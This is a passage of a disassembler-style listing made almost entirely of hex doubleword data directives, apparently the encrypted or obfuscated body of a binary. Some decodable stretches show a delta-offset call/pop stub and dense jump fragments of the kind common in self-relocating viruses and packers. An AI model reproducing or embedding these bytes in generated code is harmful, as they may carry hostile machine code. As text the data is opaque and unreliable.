0E35C2468h, 0B085428Eh, 63C208DAh dd 7DF21C31h, 0B83C6260h, 3411h, 2B47C200h, 0DF9F43AEh dd 9C2BA000h, 56E11540h, 9D438B43h, 1502869Ah, 77E9088Eh dd 0A014DFFAh, 920F218Eh, 0AD30955Ch, 9B3C34C7h, 7F65B855h dd 9607908Ch, 0AE2B47B5h, 31D9F43h, 0C0D35E96h, 0F608C408h dd 169A597Eh, 6DAD50DEh, 8D231503h, 3CEE0594h, 4B967E4Fh dd 0BC32BC1Ah, 842EECDFh, 0D6485DD6h, 0AC927C9h, 2B47993Ah dd 346A1EAEh, 1C36418Eh, 0F190648Ah, 0C419EFE4h, 0C3885005h dd 1Ch, 0C6842E04h, 0E5CF150Bh, 0E11C3641h, 0BE1514BFh dd 26AD2847h, 49D16370h, 2000000h, 0BC6842Eh, 41E5CF15h dd 93EB1C36h, 11AC9A69h, 199262AEh, 0B9153C97h, 3641A12Bh dd 0E313951Ch, 22B9337h, 0F2184103h, 15D27185h, 774A50ADh dd 6997F632h, 8507EAF7h, 7560FF71h, 3AAD155Eh, 9FE08D98h dd 6B58A155h, 43AE2B47h, 32C361B5h, 957FDE1Ch, 4C514EE2h dd 0F4FF9894h, 48845C67h, 0FEE4539Ah, 53775314h, 49C278Dh dd 677D2313h, 13049C5Dh, 0F19F5759h, 2EFDAEEFh, 3A0BC684h dd 0BE2B4799h, 18BB35A2h, 0C419EFE4h, 0C3885005h, 21h dd 0C6842E04h, 0E5CF150Bh, 0E11C3641h, 0AE4550CFh, 150DC42Ah dd 0AD2847BEh, 0D1637026h, 31h, 76EB1502h, 773D636Bh, 731C3641h dd 0B4FE896Dh, 0CF15DBF6h, 1C3641E5h, 153F921Eh, 8E6673EBh dd 2847A3EAh, 0AD1526ADh, 16E9599Eh, 165F97A7h, 0AE2B472Dh dd 0C361B543h, 5ED11C32h, 253CB043h, 85D83DB4h, 0AE2FDC9Fh dd 60FF01C6h, 130F8175h, 8F311586h, 3DED0491h, 0B08AE85Fh dd 7EF0101h, 0C0DE9995h, 1C3223FAh, 0EB06E8EEh, 517D5560h dd 0FF30DC93h, 0FECED014h, 817562FCh, 842E07ACh, 943A0BC6h dd 4120AA38h, 92141C36h, 2B47BB62h, 0EFE423AEh, 5005C419h dd 23C388h, 2E040000h, 150BC684h, 886B76EBh, 964CF004h dd 1C36412Ch, 154B8628h, 0AD2847BEh, 0D1637026h, 2Ch, 0C6842E02h dd 0E5CF150Bh, 1E1C3641h, 0BE153F92h, 0A12BB915h, 951C3641h dd 0F669E313h, 7B7663FBh, 0DFF7A4CBh, 48A6CB35h, 63702BA6h dd 43AE2B47h, 9935EDB8h, 688B0E27h, 366C10E4h, 15034577h dd 0F5EBCD9Dh, 1533D61Eh, 89391DCCh, 0B6387DB7h, 974F5AE5h dd 356FA937h, 4D530BD8h, 0A13E32A6h, 0EFE884FCh, 60537404h dd 0E27D5813h, 9588FCF7h, 0AE4FE50Ch, 24EA23C6h, 0DE16839Ah dd 44D8A391h, 0A2BE425Bh, 0AFF59935h, 0D81C5F05h, 5EEFD50Bh dd 0C5EBD81Ch, 6772E9FFh, 72E66D89h, 2616DDFAh, 203CCFB5h dd 0FE72E6B7h, 32812E1h, 69000000h, 1547844Fh, 53CF41B0h dd 2739AB46h, 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh dd 0AFC034BFh, 0D04DBF32h, 515D2AC9h, 0C181E189h, 4, 4E981h dd 0C870000h, 4895C24h, 0E2895224h, 4C281h, 0EA810000h dd 4, 5C241487h, 68241489h, 7C08h, 68240C89h, 93B9951h dd 8124148Bh, 4C4h, 4EC8300h, 81242489h, 42404h, 83590000h dd 148904ECh, 8418F24h, 592434FFh, 8B04C483h, 89512414h dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 0DDE2E95Ch, 248EFFF9h dd 4D25C7CEh, 216EA3F3h, 79B8184Ch, 3093BA0h, 4CE0FFC5h dd 0DE598F5Ah, 72BB43h, 0B048CD13h, 46551889h, 2710910Fh dd 0AB30E46Ch, 410E73E5h, 0D4740E1Bh, 87430888h, 322DF5B2h dd 9C7DD35Ch, 0C00F8013h, 0B84B294Dh, 4B0929C1h, 5F507C2Ah dd 0E835E965h, 9, 19A314A0h, 0CC1FF6ECh, 81665348h, 5F5E64D2h dd 81CE8B5Bh, 67E0C3h, 0F98B6600h, 0B02F82BEh, 3BC68140h dd 66BF4FEAh, 0FF557BBFh, 0DE933h, 9D040000h, 0FD9CE5BAh dd 5E0AD0E8h, 5838FEA0h, 3850Fh, 0E1800000h, 3CE88125h dd 6021F2BFh, 48F0Fh, 0BF660000h, 52BE4466h, 61000B01h dd 6C01F081h, 0F603B8Ch, 289h, 61F78B00h, 42DEE881h, 0BF6619FCh dd 38906D2h, 6E9h, 3C6DD000h, 8130F84Eh, 0D409B9EBh, 0C381F51Fh dd 1FD409B5h, 0FE9h, 0FB46AC00h, 0F072E251h, 0C9EB4883h dd 0EFCFB3A0h, 1EE81h, 850F0000h, 12h, 0FA19B966h, 33E9h dd 58D2B100h, 0D4974C26h, 0CE8448Dh, 1E000000h, 495640BCh dd 531E5494h, 0F8C15B48h, 0FF4DE959h, 0FFBFFFFFh, 618FD489h dd 0DE640684h, 409ABBE8h, 45018504h, 0A2F68D8Dh, 0F60093Bh dd 288h, 0FC28B00h dd 38Dh, 0C2B70F00h, 298D8961h, 6A093516h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0B090C352h dd 7D85C7C5h, 98093528h, 6A000073h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0E900C352h dd 0CD4F7FACh, 0C7D6B70Fh, 35225585h, 9, 0FD9D8B00h, 0FF09351Bh dd 352BF5B5h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8143EF03h, 390FAFF2h, 595FF28h, 8109350Dh dd 5C4E5CE2h, 0FF006A01h, 35082995h, 0EBC08B09h, 8BDE190Dh dd 9F683B7Dh, 0DA71975Fh, 8D8D7555h, 93BA3B1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 6EC35343h, 89F28BFDh dd 3516298Dh, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 7D85C7CDh, 0C8093528h, 900005Ch dd 352DD9B5h, 75958909h, 0C7093504h, 35225585h, 9, 2D9D8B00h dd 0FF09352Fh, 35331DB5h, 5DBD8909h, 0FF093530h, 350D0595h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 9D89FC0Ah, 935043Dh, 95FF006Ah, 9350829h dd 5EEBC08Bh, 0A5F26093h, 0E65AB1BCh, 64D2658Bh, 11AD14EAh dd 0F58619Bh, 0D228E9F4h, 0A1D915A9h, 0C740D397h, 0B560CC37h dd 87F732D8h, 1D4981FFh, 33235CDCh, 0C67886F2h, 0BE066E6Eh dd 90D3676Fh, 0C1385824h, 540FB874h, 50D0AE2Bh, 900DABD3h dd 7C5E2E5Eh, 823147B8h, 65C5A137h, 0C6EED06Ch, 0BE8D6F4h dd 44000000h, 681324Ah, 0E5482D9Fh, 8D89EF62h, 93512ADh dd 0A995895Bh, 81093527h, 6991C3h, 71858B00h, 68093503h dd 1A3Bh, 27F18523h, 0B25F0935h, 0E933FF59h, 14h, 0DBD7A22h dd 0A65B4762h, 5802E683h, 284B13F6h, 5F931CD4h, 0D38B665Eh dd 1F73C681h, 95032717h, 9352C75h, 63D1F681h, 0CF8A2F78h dd 7874EE81h, 0E9564E9Eh, 0Ah, 2459909Eh, 4C4B8793h, 38FC18Ah dd 0EB81D6B1h, 3D50D18Ch, 8158F553h, 50D188C3h, 8E93Dh dd 0CE8A0000h, 68400E4Dh, 0EF83216Ah, 8E850F01h, 0B9FFFFFFh dd 463E37EAh, 0A58F8D8Dh, 8589093Bh, 93502B1h, 16298D89h dd 8E0F0935h, 4, 0DE56BB66h, 287D85C7h, 66CC0935h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 62CB46C3h, 6810Fh, 9D890000h, 9350B75h, 0E5BD8B60h dd 0B509350Ch, 85C76117h, 9352255h, 0 dd 0FFD0B70Fh, 350D15B5h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 461323FCh dd 616078D0h, 595FF37h, 6A09350Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 1A2CC353h dd 9750D47Ch, 890F4178h, 6, 19B589h, 6A0935h, 82995FFh dd 0C08B0935h, 31FA4CEBh, 69E907DFh, 0BCF0F39h, 834F152Fh dd 0B2490C19h, 6F9DC34Ch, 0FC36918Ch, 658D0703h, 76390EA4h dd 6CB7907Ch, 2E584A4Ah, 2DD35230h, 0AD730D34h, 0FD073306h dd 93F90B11h, 91C19F0Ah, 0B0039711h, 6023DB03h, 65E11C62h dd 8D8DEBC0h, 93BA63Dh, 16298D89h, 95890935h, 9352F61h dd 287D85C7h, 64580935h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0BB79D2C3h, 225585C7h dd 935h, 0C28B0000h, 0D45B5FFh, 95FF0935h, 9350D05h, 2C59BE66h dd 95FF006Ah, 9350829h, 6AEBC08Bh, 0D6EB0F95h, 0D628CD61h dd 58E8B570h, 0A04B8B3Ch, 422F62A5h, 71DC20EEh, 641CF711h dd 8D4F48Ch, 1BC4FB6Bh, 2A9D74A4h, 804652Dh, 0AD3C7ABBh dd 27C05149h, 94E74335h, 0BFC8EEFAh, 96E06E60h, 0BF48190h dd 0F7221AD2h, 0BB066577h, 7E8F4B88h, 98C03C5Fh, 0D65D30BFh dd 0F509C053h, 2D518CAFh, 0BF04029Ah, 6D09E8CCh, 5E8AF1Bh dd 0D4000000h, 7D98DE54h, 0F56EBE66h, 68C18159h, 6000005Eh dd 68A0Fh, 810F0000h, 0 dd 15FD9D03h, 33610935h, 0D9589DBh, 0FF09352Eh, 9D310B34h dd 935273Dh, 0F99D895Fh, 81093507h, 0C8AB7FEFh, 5195890Dh dd 8109350Ch, 153462C7h, 0FD8D015Ch, 8109351Bh, 0F54E51EFh dd 0C68B6677h, 0ABC08157h, 8F60555Eh, 860F1904h, 4, 58D38B51h dd 0CE9h, 1644C200h, 9810007Eh, 4D98CEEFh, 1EB8328h, 0A5F4B866h dd 514B4B4Bh, 9E8h, 0E4EB7500h, 73BE425Fh, 870F7414h, 0 dd 0FB815E58h, 0FFFFA268h, 12850Fh, 0B58B0000h, 9350591h dd 1AE9h, 0C5188800h, 0EEA4C5A6h, 2C059529h, 60E90935h dd 72FFFFFFh, 0B0A35D17h, 8D2772E3h, 3BA82C8Dh, 3DB86609h dd 298D8974h, 8B093516h, 35117185h, 7D85C709h, 78093528h dd 6A00005Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0A33AC355h, 816634E7h, 18938E2h dd 350AE59Dh, 6800F09h, 89000000h, 352A659Dh, 5585C709h dd 93522h, 89000000h, 352EA19Dh, 79B5FF09h, 8A09352Ch dd 98C880FEh, 0D0595FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0C2E97EC3h, 9DAA44A6h dd 0F18D89B0h, 6A093532h, 2995FF00h, 8B093508h, 0CB29EBC0h dd 7040C6B2h, 7D1D30FFh, 0B649F8EDh, 0F17D596Bh, 3334212h dd 86EAEE2Ch, 66E50420h, 68768D1Eh, 3B8BCC30h, 15117FEEh dd 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 3BA868EDh, 8428B09h dd 2638453Dh, 38850F78h, 8B000001h, 4A8B0C42h, 0BBC8D318h dd 3D568116h, 0E883C333h, 29858904h, 8B093516h, 0F88B0458h dd 8B10428Bh, 0C8D3184Ah, 98EB91BEh, 2BC633AAh, 0FCE083C7h dd 8904E883h, 35287D85h, 14428B09h, 22558589h, 428B0935h dd 0B0E95318h, 0FF000000h, 352E9DB5h, 0B9E909h, 0B5FF0000h dd 93506B5h, 0AEE9h, 45B5FF00h, 0E909350Ch, 0A3h, 1BBDB5FFh dd 98E90935h, 0FF000000h, 352C79B5h, 8DE909h, 0B5FF0000h dd 93503DDh, 82E9h, 11B5FF00h, 0E909352Bh, 77h, 2BF5B5FFh dd 6CE90935h, 0FF000000h, 3511F5B5h, 61E909h, 0B5FF0000h dd 9350D15h, 56E9h, 39B5FF00h, 0E9093512h, 4Bh, 41B5FFh dd 40E90935h, 0FF000000h, 350A69B5h, 35E909h, 0B5FF0000h dd 935331Dh, 2AE9h, 95B5FF00h, 0E9093530h, 1Fh, 0D45B5FFh dd 14E90935h, 8B000000h, 0BB8D8h, 0F7660000h, 0C98D8DE3h dd 3093BA8h, 0FFE1FFC8h, 350D0595h, 858B5B09h, 9351629h dd 0F045839h, 0F85h, 16A5300h, 82995FFh, 0E95B0935h, 0FFFFFFE2h dd 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 2759858Bh, 8D8D0935h dd 93BA9B7h, 8B014189h, 0CE8C3h, 89430000h, 66644E70h dd 3A0F7EBFh, 12BA7E81h, 587D22FAh, 1F8E0Fh, 13E80000h dd 0CF000000h, 0E8C2E340h, 19EFF9AFh, 5F2C6250h, 87073DAh dd 8C0F89D7h, 0 aZbH db 'Z│юуh',0 dw 8B00h dd 19FBBBD1h, 82BA0000h, 8B4B7244h, 67C28030h, 9F5BEE81h dd 0F57664Ch, 68Ch, 8F0F00h, 59000000h, 8AE0F681h, 11E84391h dd 3E000000h, 21D4DB76h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh dd 13E9h, 0BEA18E00h, 0B58580D0h, 8044A4EBh, 12C2CE9h dd 46B41F2Eh, 0FDC6815Fh, 0E942D924h, 14h, 7FA31218h, 0C22EBAFCh dd 0A4880E05h, 0DE3D2F03h, 7A5DAC87h, 5A503089h, 0E901E883h dd 0Dh, 0E9EC1ABCh, 0A7F2FA90h, 0E5A6E544h, 484848F0h dd 1EB83F5h, 0FF6D850Fh, 0CE9FFFFh, 7000000h, 99BF7701h dd 4ED64E32h, 0C644E472h, 35179D85h, 0DF685609h, 0FFA9C530h dd 35167DB5h, 70858D09h, 0FF09387Bh, 0A58D8DD0h, 5109352Eh dd 0B5FF406Ah, 9352421h, 25E5B5FFh, 0D0FF0935h, 2421B5FFh dd 0B5FF0935h, 93525E5h, 0EE8h, 0A8AA4100h, 0E8CDA16Fh dd 79C5AD80h, 5E1CBFD4h, 4EE835Eh, 2242CC1h, 22424C1h dd 0F7243403h, 0FF33241Ch, 593734FFh, 0B6AAF181h, 0E9817067h dd 33F9F68h, 85F4C181h, 0C89569Ch, 2EF833Eh, 3C3B4F4Fh dd 0A850F24h, 0E9000000h, 1Dh, 0F1B83635h, 0FFCAE9C7h dd 182BFFFFh, 16E7650Eh, 0FEC1620Fh, 41CA276Fh, 8501C5C5h dd 19D8D3Ch, 8B093527h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh dd 0ABE9C98Bh, 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h dd 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h dd 0B3ED7293h, 1E80097h, 3D94E7A6h, 6F3C8332h, 0E7E958F9h dd 68000011h, 93BADEDh, 0F9D28FE9h, 0AEFF68FFh, 85E9093Bh dd 68FFF9D2h, 93BAFDEh, 0F9D27BE9h, 0B13368FFh, 71E9093Bh dd 68FFF9D2h, 93BB1C1h, 0F9D267E9h, 0B27368FFh, 5DE9093Bh dd 68FFF9D2h, 93BB311h, 0F9D253E9h, 0B3D668FFh, 49E9093Bh dd 68FFF9D2h, 93BB4A3h, 0F9D23FE9h, 0B60368FFh, 35E9093Bh dd 68FFF9D2h, 93BB6FDh, 0F9D22BE9h, 0B83C68FFh, 21E9093Bh dd 68FFF9D2h, 93BB950h, 0F9D217E9h, 0BB5568FFh, 0DE9093Bh dd 68FFF9D2h, 93BBC38h, 0F9D203E9h, 0E1C674FFh, 0B02944BCh dd 0DFFA75EBh, 0B5223ABEh, 0E0F970E8h, 0FF8B00BBh, 0B62A7366h dd 0FD8318BDh, 0B3257663h, 0D77922BFh, 95E3E9F7h, 0C6D712FAh dd 0AE2B4705h, 445DD143h, 653D8857h, 64343B69h, 0C6E81503h dd 961CC206h, 9213011Bh, 0DB69E80Ch, 13011BF5h, 84452FB6h dd 92852449h, 271Eh, 9B2E6D00h, 4AD50BC3h, 0AE150372h dd 953BC928h, 56130111h, 0A9E4E5CFh, 0C1928529h, 3FB2273Fh dd 0DE9239BDh, 41000000h, 43AE2B47h, 0B24158D1h, 3EB5223Eh dd 0C65956CAh, 9E8815DBh, 420EB4EAh, 0E40A1C36h, 6094011Ah dd 3641C3D2h, 0E0F9751Ch, 0C02945BBh, 0DBD34ADh, 0A5A9145Eh dd 0AE40A95h, 91495CE7h, 0F16F913Dh, 6B8B0DE4h, 29AB2D5h dd 4C802615h, 0E4FAB9B2h, 13005DDEh, 0DA1AD4DAh, 0BCB749FDh dd 9E56DA19h, 49A8013h, 0BD855F91h, 0A6484DE6h, 705E8448h dd 840BCC90h, 0D9506A62h, 7DF20CC0h, 13DEFB70h, 0C2975F91h dd 32B2273Eh, 0E9A213E0h, 998C76FDh, 5A00000Fh, 3EC2DBF8h dd 73E5B623h, 44BCE1FCh, 6EF2AB2Ch, 2B9E2F7h, 71680189h dd 1ABFB42Ch, 7461FF81h, 24BDB127h, 0E7FDD177h, 12FA94DDh dd 1507CCD9h, 0FAC2CFADh, 3A92B03Dh, 35A21EA4h, 60941A1Ch dd 396277EEh, 6D2EABC7h, 0C39B2EBEh, 724AD50Bh, 28AE1503h dd 11953BC9h, 0CF561301h, 29A9E4E5h, 3FC19285h, 30A9C124h dd 42B13FC1h, 0EC8F36BEh, 40000000h, 1EAE2B47h, 0E476855Eh dd 0B63ECEE5h, 0F4699337h, 782235BFh, 0FAF40097h, 0F0E980FAh dd 0A3247301h, 18141C35h, 0A19A6E51h, 52CB3F62h, 0C628AC47h dd 71ED7328h, 0ABFE8968h, 5734DEC5h, 0B236BDD8h, 0F8338F0Eh dd 0F87C7760h, 2AD4F8F6h, 0CA4EA532h, 1D607E2Ah, 93150339h dd 2701C10Dh, 36B4A68h, 8C5B30C4h, 536D6139h, 0AF31C0DDh dd 0D4FDA347h, 900BCCD3h, 223CBE0Eh, 93674D93h, 3D631C33h dd 38BC40B3h, 0E6F36A94h, 76EF11B5h, 199363h, 0F09B4D99h dd 5F02E9A1h, 0E8777h, 0CDEA4800h, 8C1508D0h, 0CBD6490Fh dd 81160ED2h, 0CCCD641Ch, 0D3B7C4CFh, 9A5E3F5Ah, 0D1871481h dd 0A759425Fh, 9B8D0E8Bh, 9407ADF3h, 0D20312FAh, 0AB2E47F1h dd 2A879923h, 0C84CA734h, 87F9CE26h, 4E65FEEBh, 36412A90h dd 76781E1Ch, 47302378h, 0D143AE2Bh, 0A157445Dh, 3AE0138Eh dd 0C72FA8C0h, 0DBC0D955h, 0F7C22727h, 42F1AF1Fh, 40150355h dd 0BE35A2BEh, 0E204BA3Ah, 0A43A8E3Ah, 13012A1Eh, 0D260941Ah dd 0E2875BEBh, 29B7B104h, 1D771BA3h, 0EFDF1197h, 940D219Bh dd 851BDB5Dh, 1644365Ah, 693881Eh, 2B7E09E8h, 0CF615B73h dd 8C8F2B0h, 1ABC24ACh, 667C20D4h, 1D83FFB0h, 902AA244h dd 70F4FF98h, 4AE6D884h, 0AD9F7E1Fh, 26C8FA6Fh, 726F0375h dd 51E6CC72h, 6852D1E8h, 0DA8h, 0ADEECB69h, 0F2AB362Bh dd 0B7E4F16Eh, 0EBB02941h, 0C0DDFC75h, 6D0486F3h, 0B2A92F6Ch dd 6C027627h, 0B6AA2E6Fh, 10BC7429h, 0FA92E8D2h, 0CAFDC12h dd 43AE2B47h, 0A4051D9Fh, 16DE1089h, 6C60388Bh, 12879E20h dd 40354CE2h, 2DB31503h, 0A006B670h, 98FADB3Bh, 81149F57h dd 37C905C9h, 0C9579F3Ah, 0BCE606Eh, 0CDC5E49Ch, 69D514F0h dd 22D1D78Dh, 35442C92h, 0D7C05C1Ch, 2BB4A81Ch, 100461C8h dd 0FBE93C55h, 50F6ABE2h, 3ABC89h, 2E0B0000h, 0BF0BC39Bh dd 801E2DFFh, 0E0FE02BBh, 1C35E4DAh, 0CE26C8CEh, 2B07C40h dd 5E6E7015h, 0C8D5C25Ch, 130D0F4h, 736C0013h, 2BB8B62Ah dd 0C749A835h, 0E1E0CA29h, 3100000Ch, 5BD39B2Eh, 861CB03Eh dd 150DED64h, 7E3E8E10h, 0DD7ECF2Bh, 0EBA3AA0h, 0B32C40BAh dd 0C638BC40h, 79F10BAAh, 53388260h, 0A83612FAh, 12FA5322h dd 0AC329016h, 8BA75942h, 7F3FE30Eh, 71704E3Dh, 972ACA40h dd 5478540Ch, 0FAB3248Eh, 0D3C45C12h, 80269C20h, 4F0E57Eh dd 5B074A58h, 0EBED0BD2h, 6C45D9E3h, 9409E7F0h, 0DA5750CCh dd 3EB034BFh, 0D59D28B3h, 32B63D5Ch, 1FD210BCh, 95150324h dd 7021D313h, 0F57CF2D4h, 0C530Dh, 81261400h, 0D0C9641Ch dd 7F1A15CBh, 0D5C25A1Eh, 801910C8h, 9F6B201Bh, 0D68A1386h dd 9D63385Dh, 0D3851683h, 7759425Fh, 90438917h, 0A63712FAh dd 41A52B25h, 0E9BC1C36h, 0E239D31h, 18DC6093h, 0E8F32E74h dd 0EFF1150Dh, 3641DDDFh, 0C62DAAC4h, 961AA042h, 660E12FAh dd 0FA969238h, 8E608612h, 961AA03Eh, 880E12FAh, 7C226666h dd 12FA9636h, 7348AC32h, 896871EDh, 0DBF3ABFEh, 0C795CEC5h dd 60842A0Bh, 0E9ADEBE2h, 0C58E78FBh, 8600000Bh, 2AAEEFD4h dd 6FF1AA37h, 40B8E5F0h, 6AEEAF28h, 0FEB5E6F3h, 7564FD8Dh dd 1EBBB028h, 7865FB7Dh, 0D8C15D23h, 23C10DC3h, 12FA9099h dd 47BB008Dh, 0D143AE2Bh, 10AD445Dh, 0D73617FDh, 90894FFDh dd 6A7h, 0C39B2E3Fh, 2FFBF0Bh, 0A30429AAh dd 5BD8C3Bh, 9BF93ABDh, 80A1C55Bh, 5355150Dh, 0B6AD4F7Bh dd 0A84CD023h, 9D3A36h, 0D3FBE478h, 7E4E47EBh, 0AD49EED0h dd 0A1309626h, 7C4712FAh, 0D120B9B4h, 612DA14Fh, 0FAA17943h dd 8B6B6D12h, 0A0CAC1DFh, 881E0BC7h, 13B9E796h, 71C27A0h dd 60E40FE1h, 0E4C2568Eh, 981BE9ADh, 0B13AEh, 4166D400h dd 1089A45Ch, 3F5AD58Bh, 15829A5Eh, 4059D088h, 5F2B605Bh dd 16CAD3C6h, 5D23781Dh, 13C5D6C3h, 3719821Fh, 8F834957h dd 667712FAh, 0AE2B4765h, 545DD143h, 0AF31C0D9h, 213B241h dd 0FDD43912h, 0F093894Fh, 0F4000005h, 3641A52Bh, 31E9BC1Ch dd 0E99F079Dh, 5157150Dh, 0D0EF837Dh, 0FA96A812h, 0F4FA9C12h dd 0B43D31A7h, 51D31EBBh, 0FCC7549Fh, 519F3834h, 0B4AF517Dh dd 0A64ED221h, 0C7958118h, 1141810Bh, 0C4FC60EBh, 0FE1F871h dd 2FB739E7h, 0E9AD9C9Fh, 75CBB33Eh, 3600000Ah, 7AFE9F04h dd 0DFA1FAE7h, 90485540h, 0DA9EFF98h, 4E455643h, 0C5D44D3Dh dd 8E0B20D8h, 0C8D54B0Dh, 88110DD3h, 33711D13h, 12FA8E89h dd 476B507Dh, 0D143AE2Bh, 4488445Dh, 3641149Eh, 3E8E101Ch dd 36411AA0h, 6C880E1Ch, 0E3FE73E5h, 14859C10h, 8EA55BDDh dd 2481E80Bh, 4DA03530h, 0FE276667h, 3440894Fh, 8F000005h dd 0BC39B2Eh, 0DE9BCD5h, 16B63815h, 76DC4366h, 4FA7A222h dd 841D11ABh, 0D4CD6117h, 0FE83C8F8h, 0CE0D41BAh, 0B719A726h dd 0CE12FB3Ch, 0D3AB23FBh, 9DBDE196h, 4EFAFABBh, 0C75BF990h dd 0FD5F90Bh, 1C275BA5h, 0F4C3FFA1h, 15083F4Dh, 29AF6591h dd 0AD7BCFBDh, 3B23CEE9h, 9B0h, 0B5E6C371h, 0EAB32E43h dd 0BFDCF976h, 0E3B82139h, 895041Dh, 958C7E0Bh, 4AE19704h dd 948A4E4Fh, 4EE29607h, 28644C51h, 0FA8E507Ah, 34974412h dd 6875EB15h, 811E128Ch, 1FBAB34Dh, 1DA450D4h, 0C72AB7ABh dd 9A48842Ah, 1C364130h, 1D728224h, 10AA1237h, 2C4A33DDh dd 6E9F3FB7h, 0F98950F0h, 473h, 41A02BDAh, 0ECB71C36h dd 98F49834h, 3641C00Ah, 9A20BE1Ch, 8E1C3641h, 0C034BA08h dd 0DE93832h, 0DA08AC15h, 12FA96F0h, 970AB0EEh, 0D8FE12FAh dd 0A22AC4EAh, 29B0418h, 0FEF5E27Eh, 0E17E2671h, 757BFDF4h dd 0CACF6759h, 0AD51A527h, 0C7B1ECF7h, 0C8D6B20Bh, 1C278E02h dd 4E04F0F6h, 0F6A69C48h, 6CF7E9ADh, 8E382h, 11B6A400h dd 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh dd 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh, 8DD3F9A7h dd 16C712FAh, 0AE2B47B5h, 21D9F43h, 1CD85C97h, 0E2118EA2h dd 0E0FECA72h, 1C3641DAh, 57F8C8CEh, 0DC7E8677h, 0CEB60BEBh dd 0E1BA273Bh, 50BB9CF1h, 16FCB89h, 47FC0000h, 5492802Bh dd 0D25345DDh, 49A7302Ch, 9D3A36AAh, 2978F31h, 7F4A15F2h dd 0D11FBAB7h, 5880E7FDh, 72741503h, 4A702E5Ah, 3E130117h dd 31D55C98h, 0EC07928Fh, 0D0F68C68h, 91130117h, 0E6272014h dd 81928527h, 48h, 0C39B2E52h, 223DBF0Bh, 66B13FB7h, 9A150372h dd 9D121CE6h, 5CE01386h, 0CCB55764h, 7F41CF22h, 40130064h dd 50B92E8Eh, 3E79BD10h, 627B69B6h, 9285E22Bh, 0CC3Ch dd 0AC368600h, 0A9302DF4h, 78FAC64Ah, 761DD90Ah, 0A20AD15h dd 2BB3BE67h, 0C4DD51CBh, 37A2BB2Dh, 0CBD448BCh, 0FDB8B428h dd 3615DDE7h, 19D7D91Ch, 3CE5E084h, 1B171C36h, 77421D7Eh dd 0EA712F9Fh, 9E1501EBh, 0C8F8D4F8h, 0B1321ECh, 606A782Bh dd 5412FF0Dh, 26B3AC52h, 1AD49CBh, 97FEF5CDh, 0AA572559h dd 4059D04Ah, 0D549735Bh, 0BFB628CCh, 0CCCECA1Ah, 24CFF2D6h dd 7833Ah, 0B1164400h, 0E0F974ECh, 0AF2A45BBh, 0E5F26AEEh dd 0B02940B8h, 0AF5B30EBh, 67A23B6h, 0AD33686Dh, 37526B3h dd 8729726Fh, 8B339947h, 762712FAh, 0AB2E4755h, 0B2275B23h dd 0C8564F7Eh, 27574F2Ch, 8652CC2Bh, 81FBFBE4h, 0FFA7F4EDh dd 7E7663FDh, 8C2B47DFh, 2E0FD72h, 1C3641B8h, 2DC42AACh dd 0FE0CA7BBh, 0E7FB4945h, 0E9217A74h, 23Bh, 70EB152Ah dd 0B3069165h, 2597F3DBh, 0D56B8B0Eh, 15035306h, 7705ECF2h dd 13013051h, 0FDF4ED81h, 0EC07928Bh, 42250F7Ch, 0EBECD84Dh dd 92850AA2h, 1E6C5h, 0AD150600h, 927DD9Eh, 0DFE3658Ch dd 857161E8h, 3615C2EFh, 0FAD2E51Ch, 0BD600CD2h, 5254150Dh dd 0F3EC807Ah, 9D3A36AAh, 4918F31h, 48B6BEDh, 8C522C77h dd 12FABA26h, 92507C22h, 12FABA28h, 58747A1Ch, 0C7D59F4Ah dd 9353550Bh, 0E9ADDADBh, 89775F02h, 4A000006h, 0ED2CBE8h dd 63158613h, 14CCD1CCh, 5E227B1Ch, 0D2C9D2C7h, 4158D1B9h dd 0A8FA45Ch, 4451CF91h, 148DA157h, 0B7EDA187h, 12FA8C0Dh dd 47F7DC09h, 43A0BE2Bh, 0AD43AD28h, 0D2ECA046h, 30B43F5Ch dd 364208B2h, 1ADAFC1Ch, 0E0138CA0h, 46312370h, 36F0AD2Ah dd 0C92DAAC4h, 4FF9E429h, 12D8389h, 47440000h, 5E1EAE2Bh dd 10F94DCh, 0F37A7A16h, 0A7F4ED81h, 0F9D58D18h, 32B84EBh dd 7B767815h, 122CBEDh, 2B198C13h, 17908C2Eh, 82727C19h dd 851CB3DAh, 33B492h, 2E130000h, 0D50BC39Bh, 1503724Ah dd 0A92E46B8h, 802EC64Ah, 0D04C6E5Eh, 59640699h, 21CF7C7Eh dd 0F8BE4ED5h, 